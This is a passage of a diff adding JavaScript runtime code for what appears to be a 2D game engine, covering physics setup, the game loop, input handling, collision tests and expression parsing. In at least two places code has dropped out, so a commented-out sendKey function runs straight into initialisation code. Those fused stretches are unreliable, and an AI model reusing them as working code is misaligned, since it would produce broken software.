+ || pHo.hoCommon.ocIdentifier == CRun.PARTICULESIDENTIFIER
+ || pHo.hoCommon.ocIdentifier == CRun.ROPEANDCHAINIDENTIFIER
+ || pHo.hoCommon.ocIdentifier == CRun.MAGNETIDENTIFIER)
+ {
+ pHo.ext.rStartObject();
+ }
+ else if (pHo.hoCommon.ocIdentifier == CRun.BASEIDENTIFIER)
+ {
+ pHo.ext.rStartObject();
+ }
+ }
+ }
+ pOL = 0;
+ for (nObjects = 0; nObjects < this.rhNObjects; pOL++, nObjects++)
+ {
+ while (this.rhObjectList[pOL] == null) pOL++;
+ var pHo = this.rhObjectList[pOL];
+ if ((pHo.hoOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) != 0)
+ {
+ var flag = false;
+ if (pHo.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ {
+ var mvPtr = (pHo.hoCommon.ocMovements.moveList[pHo.rom.rmMvtNum]);
+ if (CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2d8directions')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dspring')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dspaceship')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dstatic')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dracecar')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2daxial')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dplatform')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dbouncingball')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dbackground')
+ )
+ {
+ pHo.rom.rmMovement.movement.CreateBody();
+ flag = true;
+ }
+ }
+ if (flag == false && pHo.hoType == 2)
+ {
+ pBase.rAddNormalObject(pHo);
+ }
+ }
+ }
+ pOL = 0;
+ for (nObjects = 0; nObjects < this.rhNObjects; pOL++, nObjects++)
+ {
+ while (this.rhObjectList[pOL] == null) pOL++;
+ var pHo = this.rhObjectList[pOL];
+ if ((pHo.hoOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) != 0)
+ {
+ if (pHo.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ {
+ var mvPtr = (pHo.hoCommon.ocMovements.moveList[pHo.rom.rmMvtNum]);
+ if (CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2d8directions')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dspring')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dspaceship')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dstatic')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dracecar')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2daxial')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dplatform')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dbouncingball')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dbackground')
+ )
+ {
+ pHo.rom.rmMovement.movement.CreateJoint();
+ }
+ }
+ }
+ }
+ },
+
+ GetBase: function ()
+ {
+ if (this.rh4Box2DSearched == false)
+ {
+ this.rh4Box2DSearched = true;
+ this.rh4Box2DBase = null;
+
+ var pOL = 0;
+ var nObjects;
+ for (nObjects = 0; nObjects < this.rhNObjects; pOL++, nObjects++)
+ {
+ while (this.rhObjectList[pOL] == null) pOL++;
+ var pHo = this.rhObjectList[pOL];
+ if (pHo.hoType >= 32)
+ {
+ if (pHo.hoCommon.ocIdentifier == CRun.BASEIDENTIFIER)
+ {
+ this.rh4Box2DBase = pHo.ext;
+ break;
+ }
+ }
+ }
+ }
+ return this.rh4Box2DBase;
+ },
+
+ GetMBase: function (pHo)
+ {
+ if (pHo && (pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if ((pHo.hoOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) != 0)
+ {
+ if (pHo.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ {
+ var mvPtr = (pHo.hoCommon.ocMovements.moveList[pHo.rom.rmMvtNum]);
+ if (CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2d8directions')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dspring')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dspaceship')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dstatic')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dracecar')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2daxial')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dplatform')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dbouncingball')
+ || CServices.compareStringsIgnoreCase(mvPtr.moduleName, 'box2dbackground')
+ )
+ {
+ return pHo.rom.rmMovement.movement;
+ }
+ }
+ }
+ }
+ return null;
+ },
+
+ // Build 283.2: add fans, treadmills and magnet to engine
+ // Build 286.0: add ropes too
+ addPhysicsAttractor: function(pObject)
+ {
+ if (pObject.hoCommon.ocIdentifier == CRun.FANIDENTIFIER || pObject.hoCommon.ocIdentifier == CRun.TREADMILLIDENTIFIER || pObject.hoCommon.ocIdentifier == CRun.MAGNETIDENTIFIER || pObject.hoCommon.ocIdentifier == CRun.ROPEANDCHAINIDENTIFIER)
+ {
+ var pOL=0;
+ var nObjects;
+ for (nObjects = 0; nObjects < this.rhNObjects; pOL++, nObjects++)
+ {
+ while (this.rhObjectList[pOL] == null) pOL++;
+ var pBase = this.rhObjectList[pOL];
+ if (pBase.hoType>=32 && pBase.hoCommon.ocIdentifier==CRun.BASEIDENTIFIER)
+ {
+ if (pObject.hoCommon.ocIdentifier == CRun.FANIDENTIFIER)
+ {
+ if ( pObject.ext.identifier == pBase.ext.identifier)
+ pBase.ext.fans.add(pObject.ext);
+ }
+ else if (pObject.hoCommon.ocIdentifier == CRun.TREADMILLIDENTIFIER)
+ {
+ if ( pObject.ext.identifier == pBase.ext.identifier)
+ pBase.ext.treadmills.add(pObject.ext);
+ }
+ else if (pObject.hoCommon.ocIdentifier == CRun.MAGNETIDENTIFIER)
+ {
+ if ( pObject.ext.identifier == pBase.ext.identifier)
+ pBase.ext.magnets.add(pObject.ext);
+ }
+ else if (pObject.hoCommon.ocIdentifier == CRun.ROPEANDCHAINIDENTIFIER)
+ {
+ if (pObject.ext.identifier == pBase.ext.identifier)
+ pBase.ext.ropes.add(pObject.ext);
+ }
+ }
+ }
+
+ // Object added to base list, now add the physical objects to the fan/treadmill/magnet list
+ if (pObject.hoCommon.ocIdentifier != CRun.ROPEANDCHAINIDENTIFIER)
+ {
+ pOL=0;
+ for (nObjects = 0; nObjects < this.rhNObjects; pOL++, nObjects++)
+ {
+ while (this.rhObjectList[pOL] == null) pOL++;
+ var pActive=this.rhObjectList[pOL];
+ if ( pActive.hoType == COI.OBJ_SPR )
+ {
+ var pMBase = this.GetMBase(pActive);
+ if ( pMBase )
+ {
+ pObject.ext.rAddObject(pMBase);
+ }
+ }
+ }
+ }
+ }
+ },
+
+ getDir: function (hoPtr)
+ {
+ if (hoPtr.rom != null)
+ if (hoPtr.rom.rmMovement != null)
+ return hoPtr.rom.rmMovement.getDir();
+ return hoPtr.roc.rcDir;
+ },
+
+ pause: function (bKeepSounds)
+ {
+ if (this.rh2PauseCompteur == 0)
+ {
+ this.rh2PauseCompteur = 1;
+
+ this.rh2PauseTimer = this.rhApp.timer;
+
+ var count = 0;
+ var no;
+ for (no = 0; no < this.rhNObjects; no++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ var hoPtr = this.rhObjectList[count];
+ count++;
+ if (hoPtr.hoType >= COI.KPX_BASE)
+ {
+ hoPtr.ext.pauseRunObject();
+ }
+ }
+
+ if (!bKeepSounds)
+ this.rhApp.soundPlayer.pause();
+
+ // TODO Mouse.show();
+ // this.rhApp.keyNew=false;
+ }
+ },
+
+ resume: function ()
+ {
+ if (!this.noResume && this.rh2PauseCompteur != 0)
+ {
+ this.rh2PauseCompteur = 0;
+ this.captureMouse();
+
+ var count = 0;
+ var no;
+ for (no = 0; no < this.rhNObjects; no++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ var hoPtr = this.rhObjectList[count];
+ count++;
+ if (hoPtr.hoType >= COI.KPX_BASE)
+ {
+ hoPtr.ext.continueRunObject();
+ }
+ }
+
+ this.rhApp.soundPlayer.resume();
+
+ // TODO this.rhApp.flushKeyboard();
+
+ var tick = this.rhApp.timer;
+ tick -= this.rh2PauseTimer;
+ this.rhTimerOld += tick;
+ this.rh4PauseKey = 0;
+ this.quitPause = false;
+ }
+ },
+
+ f_StopSamples: function ()
+ {
+ this.rhApp.soundPlayer.stopAllSounds();
+ },
+
+ autoResize: function ()
+ {
+ var count = 0;
+ var no;
+ for (no = 0; no < this.rhNObjects; no++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ var hoPtr = this.rhObjectList[count];
+ count++;
+ hoPtr.autoResize();
+ }
+ },
+
+ /* TODO
+ public function sendKey(keyCode, bState:Boolean):void
+ {
+ var count=0;
+ var no;
+ for (no=0; no this.rhLevelSx)
+ wx = this.rh3XMaximumKill;
+ this.rh3XMaximum = wx;
+
+ var wy = this.rhWindowY;
+ wy += this.rh3WindowSy + CRun.COLMASK_YMARGIN;
+ if (wy > this.rhLevelSy)
+ wy = this.rh3YMaximumKill;
+ this.rh3YMaximum = wy;
+
+ this.rh3Scrolling = 0;
+ this.rh4DoUpdate = 0;
+ this.rh4EventCount = 0;
+ this.rh4TimeOut = 0;
+
+ this.rh2PauseCompteur = 0;
+
+ this.rh4FakeKey = 0;
+ for (n = 0; n < 4; n++)
+ {
+ this.rhPlayer[n] = 0;
+ this.rh2OldPlayer[n] = 0;
+ this.rh2InputMask[n] = 0xFF;
+ }
+ this.rh2MouseKeys = 0;
+
+ this.rhEvtProg.callEndForEach = false;
+ this.rh4EndOfPause = -1;
+ this.rh4OnMouseWheel = -1;
+ this.rh4LoadCount = -1;
+ this.rhEvtProg.rh4CheckDoneInstart = false;
+ this.rh4PauseKey = 0;
+ this.rh4Box2DBase = null;
+ this.rh4Box2DSearched = false;
+ this.rh4ForEachs = null;
+ this.rh4CurrentForEach = null;
+ this.rh4CurrentForEach2 = null;
+ this.rh4TimerEvents = null;
+
+ // TODO rh4DemoMode=CDemoRecord.DEMONOTHING;
+ // rh4Demo=null;
+
+ for (n = 0; n < CRun.MAX_FRAMERATE; n++)
+ this.rh4FrameRateArray[n] = 20;
+ this.rh4FrameRatePos = 0;
+ },
+
+ f_GameLoop: function ()
+ {
+ this.rhApp.soundPlayer.checkSounds();
+
+ // For some reason the event loop of subapps is called while the images are still loading O_o
+ // Wait for all the data to be loaded
+ if (this.rhApp.parentApp != null && this.rhApp.loading) {
+ this.rhTimerOld = this.rhApp.timer;
+ this.rhTimer = 0;
+ return this.rhQuit;
+ }
+
+ if (this.rhApp.modalSubappObject != null) {
+ this.rhApp.modalSubappObject.handle();
+ return 0;
+ }
+
+ if (!this.bodiesCreated)
+ {
+ this.CreateBodies();
+ this.bodiesCreated = true;
+ }
+
+ var timerBase = this.rhApp.timer;
+ var delta = timerBase - this.rhTimerOld;
+ var oldtimer = this.rhTimer;
+ this.rhTimer = delta;
+ delta -= oldtimer;
+ this.rhTimerDelta = delta;
+ this.rh4TimeOut += delta;
+ this.rhLoopCount += 1;
+ this.rh4MvtTimerCoef = (this.rhTimerDelta * this.rhFrame.m_dwMvtTimerBase) / 1000.0;
+
+ this.rh4FrameRateArray[this.rh4FrameRatePos] = delta;
+ this.rh4FrameRatePos++;
+ if (this.rh4FrameRatePos >= CRun.MAX_FRAMERATE)
+ this.rh4FrameRatePos = 0;
+
+ var n;
+ for (n = 0; n < 4; n++)
+ {
+ this.rh2OldPlayer[n] = this.rhPlayer[n];
+ }
+ this.joyTest();
+ if (this.rhApp.joystickOn == 1)
+ this.rhPlayer[0] |= this.rhApp.joystick.getJoystick() & this.rhJoystickMask;
+ else if (this.rhApp.joystickOn == 2)
+ this.rhPlayer[0] |= this.rhApp.getJoystick() & this.rhJoystickMask;
+
+ if (this.rhMouseUsed != 0)
+ {
+ this.getMouseCoords();
+
+ this.rh2MouseKeys = 0;
+
+ if (this.rhApp.keyBuffer[CRunApp.VK_LBUTTON])
+ this.rh2MouseKeys |= 0x10; //00010000B;
+
+ if (this.rhApp.keyBuffer[CRunApp.VK_RBUTTON])
+ this.rh2MouseKeys |= 0x20; //00100000B;
+
+ var mouseUsed = this.rhMouseUsed;
+ for (n = 0; n < this.rhNPlayers; n++)
+ {
+ if ((this.mouseUsed & 1) != 0)
+ {
+ var key = (this.rhPlayer[n] & 0xCF); //11001111B;
+ key |= this.rh2MouseKeys;
+ this.rhPlayer[n] = key;
+ }
+ mouseUsed >>= 1;
+ }
+ }
+ else
+ {
+ this.getMouseCoords();
+ }
+
+ var b;
+ for (n = 0; n < 4; n++)
+ {
+ b = (this.rhPlayer[n] & CRun.plMasks[this.rhNPlayers * 4 + n]);
+ b &= this.rh2InputMask[n];
+ this.rhPlayer[n] = b;
+ b ^= this.rh2OldPlayer[n];
+ this.rh2NewPlayer[n] = b;
+ if (b != 0)
+ {
+ b &= this.rhPlayer[n];
+ if ((b & 0xF0) != 0)
+ {
+ this.rhEvtProg.rhCurOi = n;
+ b = this.rh2NewPlayer[n];
+ if ((b & 0xF0) != 0)
+ {
+ this.rhEvtProg.rhCurParam0 = b;
+ this.rhEvtProg.handle_GlobalEvents(((-4 << 16) | 0xFFF9)); // CNDL_JOYPRESSED);
+ }
+ if ((b & 0x0F) != 0)
+ {
+ this.rhEvtProg.rhCurParam0 = b;
+ this.rhEvtProg.handle_GlobalEvents(((-4 << 16) | 0xFFF9)); // CNDL_JOYPRESSED);
+ }
+ }
+ else
+ {
+ var num = this.rhEvtProg.listPointers[this.rhEvtProg.rhEvents[-COI.OBJ_PLAYER] + 4]; // -NUM_JOYPRESSEZD
+ if (num != 0)
+ {
+ this.rhEvtProg.rhCurParam0 = b;
+ this.rhEvtProg.computeEventList(num, null);
+ }
+ }
+ }
+ }
+
+ if (this.rhNObjects != 0)
+ {
+ var cptObject = this.rhNObjects;
+ var count = 0;
+ do
+ {
+ this.rh4ObjectAddCreate = 0;
+ while (this.rhObjectList[count] == null)
+ count++;
+ var pObject = this.rhObjectList[count];
+
+ pObject.hoPrevNoRepeat = pObject.hoBaseNoRepeat;
+ pObject.hoBaseNoRepeat = null;
+ if (pObject.hoCallRoutine)
+ {
+ this.rh4ObjectCurCreate = count;
+ pObject.handle();
+ }
+ cptObject += this.rh4ObjectAddCreate;
+ count++;
+ cptObject--;
+ } while (cptObject != 0);
+ }
+ this.rh3CollisionCount++;
+
+ this.rhEvtProg.compute_TimerEvents();
+ this.rhEvtProg.handle_TimerEvents();
+
+ if (this.rhEvtProg.rhEventAlways)
+ {
+ if ((this.rhGameFlags & CRun.GAMEFLAGS_FIRSTLOOPFADEIN) == 0)
+ this.rhEvtProg.computeEventList(0, null);
+ }
+ this.rhEvtProg.handle_PushedEvents();
+
+ this.destroy_List();
+ this.doScroll();
+ // this.modif_ChangedObjects();
+
+ this.rhEvtProg.rh2CurrentClick = -1;
+ this.rh4EventCount++;
+ this.rh4FakeKey = 0;
+
+ if (this.rhQuit == 0)
+ {
+ return this.rhQuitBis;
+ }
+
+ if (this.rhQuit == CRun.LOOPEXIT_NEXTLEVEL ||
+ this.rhQuit == CRun.LOOPEXIT_PREVLEVEL ||
+ this.rhQuit == CRun.LOOPEXIT_ENDGAME ||
+ this.rhQuit == CRun.LOOPEXIT_GOTOLEVEL ||
+ this.rhQuit == CRun.LOOPEXIT_QUIT ||
+ this.rhQuit == CRun.LOOPEXIT_NEWGAME)
+ {
+ this.rhEvtProg.handle_GlobalEvents((-2 << 16) | 0xFFFD);
+ }
+ return this.rhQuit;
+ },
+
+ /* modif_ChangedObjects:function()
+ {
+ var count=0;
+ var no;
+ for (no=0; no pHo_ebx.hoType)
+ {
+ pHo_esi = pHox;
+ pHo_ebx = pHo;
+ type = pHo_esi.hoType;
+ }
+ this.rhEvtProg.rhCurParam0 = pHo_ebx.hoOi;
+ this.rhEvtProg.rh1stObjectNumber = pHo_ebx.hoNumber;
+ this.rhEvtProg.handle_Event(pHo_esi, (-14 << 16) | (type & 0xFFFF));
+ }
+ }
+ }
+ }
+ return CRun.bMoveChanged;
+ },
+
+ objectAllCol_IXY: function (pHo, newImg, newAngle, newScaleX, newScaleY, newX, newY, pOiColList)
+ {
+ var list = null;
+
+ var rectX1 = newX - pHo.hoImgXSpot;
+ var rectX2 = rectX1 + pHo.hoImgWidth;
+ var rectY1 = newY - pHo.hoImgYSpot;
+ var rectY2 = rectY1 + pHo.hoImgHeight;
+
+ var image1;
+ var pMask2;
+ var image2;
+ if ((pHo.hoFlags & CObject.HOF_NOCOLLISION) != 0 || (pHo.hoFlags & CObject.HOF_DESTROYED) != 0)
+ {
+ return list;
+ }
+ var bMask1 = false;
+ var pMask1 = null;
+ var image;
+ var nLayer = -1;
+ if (pHo.hoType == COI.OBJ_SPR && (pHo.ros.rsFlags & CRSpr.RSFLAG_COLBOX) == 0)
+ {
+ bMask1 = true;
+ }
+ if (pHo.hoType == COI.OBJ_SPR)
+ {
+ nLayer = pHo.ros.rsLayer;
+ }
+
+ var oldHoFlags = pHo.hoFlags;
+ pHo.hoFlags |= CObject.HOF_NOCOLLISION;
+ var count = 0;
+ var i;
+ var pHox;
+ var xHox, yHox;
+ if (pOiColList != null)
+ {
+ var nOi = 0;
+ for (nOi = 0; nOi < pOiColList.length; nOi += 2)
+ {
+ var pOil = this.rhOiList[pOiColList[nOi + 1]];
+ var object = pOil.oilObject;
+ while ((object & 0x80000000) == 0)
+ {
+ pHox = this.rhObjectList[object];
+ object = pHox.hoNumNext;
+
+ if ((pHox.hoFlags & CObject.HOF_NOCOLLISION) == 0 && (pHox.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ xHox = pHox.hoX - pHox.hoImgXSpot;
+ yHox = pHox.hoY - pHox.hoImgYSpot;
+ if (xHox < rectX2 &&
+ xHox + pHox.hoImgWidth > rectX1 &&
+ yHox < rectY2 &&
+ yHox + pHox.hoImgHeight > rectY1)
+ {
+ switch (pHox.hoType)
+ {
+ case COI.OBJ_SPR:
+ if (nLayer < 0 || (nLayer >= 0 && nLayer == pHox.ros.rsLayer))
+ {
+ if ((pHox.ros.rsFlags & CRSpr.RSFLAG_RAMBO) != 0)
+ {
+ if (bMask1 == false || (pHox.ros.rsFlags & CRSpr.RSFLAG_COLBOX) != 0)
+ {
+ if (list == null)
+ {
+ list = new CArrayList();
+ }
+ list.add(pHox);
+ break;
+ }
+ if (pMask1 == null)
+ {
+ image = this.rhApp.imageBank.getImageFromHandle(newImg);
+ if (image != null)
+ {
+ pMask1 = image.getMask(0, newAngle, newScaleX, newScaleY);
+ }
+ }
+ image2 = this.rhApp.imageBank.getImageFromHandle(pHox.roc.rcImage);
+ if (image2 != null)
+ {
+ pMask2 = image2.getMask(0, pHox.roc.rcAngle, pHox.roc.rcScaleX, pHox.roc.rcScaleY);
+ }
+ if (pMask1 != null && pMask2 != null)
+ {
+ if (pMask1.testMask(rectX1, rectY1, 0, pMask2, xHox, yHox, 0))
+ {
+ if (list == null)
+ {
+ list = new CArrayList();
+ }
+ list.add(pHox);
+ break;
+ }
+ }
+ }
+ }
+ break;
+ case COI.OBJ_TEXT:
+ case COI.OBJ_COUNTER:
+ case COI.OBJ_LIVES:
+ case COI.OBJ_SCORE:
+ case COI.OBJ_CCA:
+ if (list == null)
+ {
+ list = new CArrayList();
+ }
+ list.add(pHox);
+ break;
+ default:
+ if (list == null)
+ {
+ list = new CArrayList();
+ }
+ list.add(pHox);
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ for (i = 0; i < this.rhNObjects; i++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ pHox = this.rhObjectList[count];
+ count++;
+
+ if ((pHox.hoFlags & CObject.HOF_NOCOLLISION) == 0)
+ {
+ xHox = pHox.hoX - pHox.hoImgXSpot;
+ yHox = pHox.hoY - pHox.hoImgYSpot;
+ if (xHox < rectX2 &&
+ xHox + pHox.hoImgWidth > rectX1 &&
+ yHox < rectY2 &&
+ yHox + pHox.hoImgHeight > rectY1)
+ {
+ switch (pHox.hoType)
+ {
+ case COI.OBJ_SPR:
+ if (nLayer < 0 || (nLayer >= 0 && nLayer == pHox.ros.rsLayer))
+ {
+ if ((pHox.ros.rsFlags & CRSpr.RSFLAG_RAMBO) != 0)
+ {
+ if (bMask1 == false || (pHox.ros.rsFlags & CRSpr.RSFLAG_COLBOX) != 0)
+ {
+ if (list == null)
+ {
+ list = new CArrayList();
+ }
+ list.add(pHox);
+ break;
+ }
+ if (pMask1 == null)
+ {
+ image = this.rhApp.imageBank.getImageFromHandle(newImg);
+ if (image != null)
+ {
+ pMask1 = image.getMask(0, newAngle, newScaleX, newScaleY);
+ }
+ }
+ image2 = this.rhApp.imageBank.getImageFromHandle(pHox.roc.rcImage);
+ if (image2 != null)
+ {
+ pMask2 = image2.getMask(0, pHox.roc.rcAngle, pHox.roc.rcScaleX, pHox.roc.rcScaleY);
+ }
+ if (pMask1 != null && pMask2 != null)
+ {
+ if (pMask1.testMask(rectX1, rectY1, 0, pMask2, xHox, yHox, 0))
+ {
+ if (list == null)
+ {
+ list = new CArrayList();
+ }
+ list.add(pHox);
+ break;
+ }
+ }
+ }
+ }
+ break;
+ case COI.OBJ_TEXT:
+ case COI.OBJ_COUNTER:
+ case COI.OBJ_LIVES:
+ case COI.OBJ_SCORE:
+ case COI.OBJ_CCA:
+ if (list == null)
+ {
+ list = new CArrayList();
+ }
+ list.add(pHox);
+ break;
+ default:
+ if (list == null)
+ {
+ list = new CArrayList();
+ }
+ list.add(pHox);
+ break;
+ }
+ }
+ }
+ }
+ }
+ // Remettre anciens flags
+ pHo.hoFlags = oldHoFlags;
+ return list;
+ },
+
+ colMask_TestObject_IXY: function (pHo, newImg, newAngle, newScaleX, newScaleY, newX, newY, htFoot, plan)
+ {
+ var image;
+ var mask;
+ var x1;
+ var y1;
+ var x2;
+ var y2;
+
+ var pLayer = this.rhFrame.layers[pHo.hoLayer];
+ switch (pHo.hoType)
+ {
+ case COI.OBJ_SPR:
+ if ((pHo.ros.rsFlags & CRSpr.RSFLAG_COLBOX) == 0)
+ {
+ image = this.rhApp.imageBank.getImageFromHandle(pHo.roc.rcImage);
+ if (image != null)
+ {
+ mask = image.getMask(CMask.GCMF_OBSTACLE, newAngle, newScaleX, newScaleY);
+ return pLayer.testMask(mask, newX - this.rhWindowX, newY - this.rhWindowY, htFoot, plan) != null;
+ }
+ }
+ else
+ {
+ x1 = newX - pHo.hoImgXSpot - this.rhWindowX;
+ y1 = newY - pHo.hoImgYSpot - this.rhWindowY;
+ x2 = x1 + pHo.hoImgWidth;
+ y2 = y1 + pHo.hoImgHeight;
+ var ret = pLayer.testRect(x1, y1, x2, y2, htFoot, plan) != null;
+ return ret;
+ }
+ return false;
+ // case COI.OBJ_TEXT:
+ // case COI.OBJ_SCORE:
+ // case COI.OBJ_LIVES:
+ // case COI.OBJ_CCA:
+ default:
+ x1 = newX - pHo.hoImgXSpot - this.rhWindowX;
+ y1 = newY - pHo.hoImgYSpot - this.rhWindowY;
+ x2 = x1 + pHo.hoImgWidth;
+ y2 = y1 + pHo.hoImgHeight;
+ var ret = pLayer.testRect(x1, y1, x2, y2, htFoot, plan) != null;
+ return ret;
+ }
+ },
+ colMask_Test_Rect: function (x1, y1, sx, sy, layer, plan)
+ {
+ var pLayer;
+ var nLayerMax = layer;
+ if (layer == -1)
+ {
+ layer = 0;
+ nLayerMax = this.rhFrame.nLayers;
+ }
+
+ var n;
+ var x2 = x1 + sx;
+ var y2 = y1 + sy;
+ for (n = layer; n < nLayerMax; n++)
+ {
+ pLayer = this.rhFrame.layers[n];
+ if (pLayer.testRect(x1 - this.rhWindowX + pLayer.x, y1 - this.rhWindowY + pLayer.y, x2 - this.rhWindowX + pLayer.x, y2 - this.rhWindowY + pLayer.y, 0, plan) != null)
+ {
+ return true;
+ }
+ }
+ return false;
+ },
+ colMask_Test_XY: function (newX, newY, layer, plan)
+ {
+ var pLayer;
+ var nLayerMax = layer;
+ if (layer == -1)
+ {
+ layer = 0;
+ nLayerMax = this.rhFrame.nLayers;
+ }
+
+ var n;
+ for (n = layer; n < nLayerMax; n++)
+ {
+ pLayer = this.rhFrame.layers[n];
+ if (pLayer.testPoint(newX - this.rhWindowX + pLayer.x, newY - this.rhWindowY + pLayer.y, plan))
+ {
+ return true;
+ }
+ }
+ return false;
+ },
+
+ getObjectAtXY: function (x, y)
+ {
+ // Explore les sprites en collision
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ var count = 0;
+ var i;
+ var pHox;
+ var x1, y1, x2, y2;
+ var currentHo = null;
+ var currentIndex = -1;
+ var index;
+
+ for (i = 0; i < this.rhNObjects; i++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ pHox = this.rhObjectList[count];
+ count++;
+
+ x1 = pHox.hoX - pHox.hoImgXSpot;
+ y1 = pHox.hoY - pHox.hoImgYSpot;
+ x2 = x1 + pHox.hoImgWidth;
+ y2 = y1 + pHox.hoImgHeight;
+ if (x >= x1 && x < x2 && y >= y1 && y < y2)
+ {
+ if ((pHox.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (pHox.hoType == COI.OBJ_SPR)
+ {
+ if ((pHox.ros.rsFlags & CRSpr.RSFLAG_COLBOX) == 0)
+ {
+ var image = this.rhApp.imageBank.getImageFromHandle(pHox.roc.rcImage);
+ var mask = image.getMask(CMask.GCMF_OBSTACLE, 0, 1.0, 1.0);
+ if (mask.testPointEx(x - pHox.hoX, y - pHox.hoY, pHox.roc.rcAngle, pHox.roc.rcScaleX, pHox.roc.rcScaleY))
+ {
+ index = pHox.getChildIndex();
+ if (index > currentIndex)
+ {
+ currentIndex = index;
+ currentHo = pHox;
+ }
+ }
+ }
+ else
+ {
+ index = pHox.getChildIndex();
+ if (index > currentIndex)
+ {
+ currentIndex = index;
+ currentHo = pHox;
+ }
+ }
+ }
+ }
+ }
+ }
+ return currentHo;
+ },
+
+
+ quadran_Out: function (x1, y1, x2, y2)
+ {
+ var cadran = 0;
+ if (x1 < 0)
+ cadran |= CRun.BORDER_LEFT;
+ if (y1 < 0)
+ cadran |= CRun.BORDER_TOP;
+ if (x2 > this.rhLevelSx)
+ cadran |= CRun.BORDER_RIGHT;
+ if (y2 > this.rhLevelSy)
+ cadran |= CRun.BORDER_BOTTOM;
+ return CRun.Table_InOut[cadran];
+ },
+
+ quadran_In: function (x1, y1, x2, y2)
+ {
+ var cadran = 15;
+ if (x1 < this.rhLevelSx)
+ cadran &= ~CRun.BORDER_RIGHT;
+ if (y1 < this.rhLevelSy)
+ cadran &= ~CRun.BORDER_BOTTOM;
+ if (x2 > 0)
+ cadran &= ~CRun.BORDER_LEFT;
+ if (y2 > 0)
+ cadran &= ~CRun.BORDER_TOP;
+ return CRun.Table_InOut[cadran];
+ },
+
+ random: function (wMax)
+ {
+ var calcul = this.rh3Graine * 31415 + 1;
+ calcul &= 0x0000FFFF;
+ this.rh3Graine = calcul;
+ return ((calcul * wMax) >>> 16);
+ },
+
+ get_Direction: function (dir)
+ {
+ if (dir == 0 || dir == -1)
+ {
+ return this.random(32);
+ }
+
+ var loop;
+ var found = 0;
+ var count = 0;
+ var dirShift = dir;
+ for (loop = 0; loop < 32; loop++)
+ {
+ if ((dirShift & 1) != 0)
+ {
+ count++;
+ found = loop;
+ }
+ dirShift >>>= 1;
+ }
+
+ if (count == 1)
+ {
+ return found;
+ }
+
+ count = this.random(count);
+ dirShift = dir;
+ for (loop = 0; loop < 32; loop++)
+ {
+ if ((dirShift & 1) != 0)
+ {
+ count--;
+ if (count < 0)
+ {
+ return loop;
+ }
+ }
+ dirShift >>>= 1;
+ }
+ return 0;
+ },
+
+ get_EventExpressionAny: function (pExp)
+ {
+ this.rh4Tokens = pExp.tokens;
+ this.rh4CurToken = 0;
+ this.flagFloat = false;
+ return this.getExpression();
+
+ },
+
+ get_EventExpressionInt: function (pExp)
+ {
+ this.rh4Tokens = pExp.tokens;
+ this.rh4CurToken = 0;
+ this.flagFloat = false;
+ return this.getExpression();
+ },
+
+ get_EventExpressionDouble: function (pExp)
+ {
+ this.rh4Tokens = pExp.tokens;
+ this.rh4CurToken = 0;
+ this.flagFloat = false;
+ return this.getExpression();
+ },
+
+ get_EventExpressionString: function (pExp)
+ {
+ this.rh4Tokens = pExp.tokens;
+ this.rh4CurToken = 0;
+ this.flagFloat = false;
+ return this.getExpression();
+ },
+
+ get_ExpressionInt: function ()
+ {
+ this.flagFloat = false;
+ var value = this.getExpression();
+ if (value < 0)
+ return Math.ceil(value);
+ else
+ return Math.floor(value);
+ },
+
+ getExpression: function ()
+ {
+ var ope;
+ var pileStart = this.rh4PosPile;
+ this.rh4Operators[this.rh4PosPile] = this.rh4OpeNull;
+ do
+ {
+ this.rh4PosPile++;
+ this.bOperande = true;
+ this.rh4Tokens[this.rh4CurToken].evaluate(this);
+ this.bOperande = false;
+ this.rh4CurToken++;
+
+ do
+ {
+ ope = this.rh4Tokens[this.rh4CurToken];
+ if (ope.code > 0 && ope.code < 0x00140000)
+ {
+ if (ope.code > this.rh4Operators[this.rh4PosPile - 1].code)
+ {
+ this.rh4Operators[this.rh4PosPile] = ope;
+ this.rh4CurToken++;
+
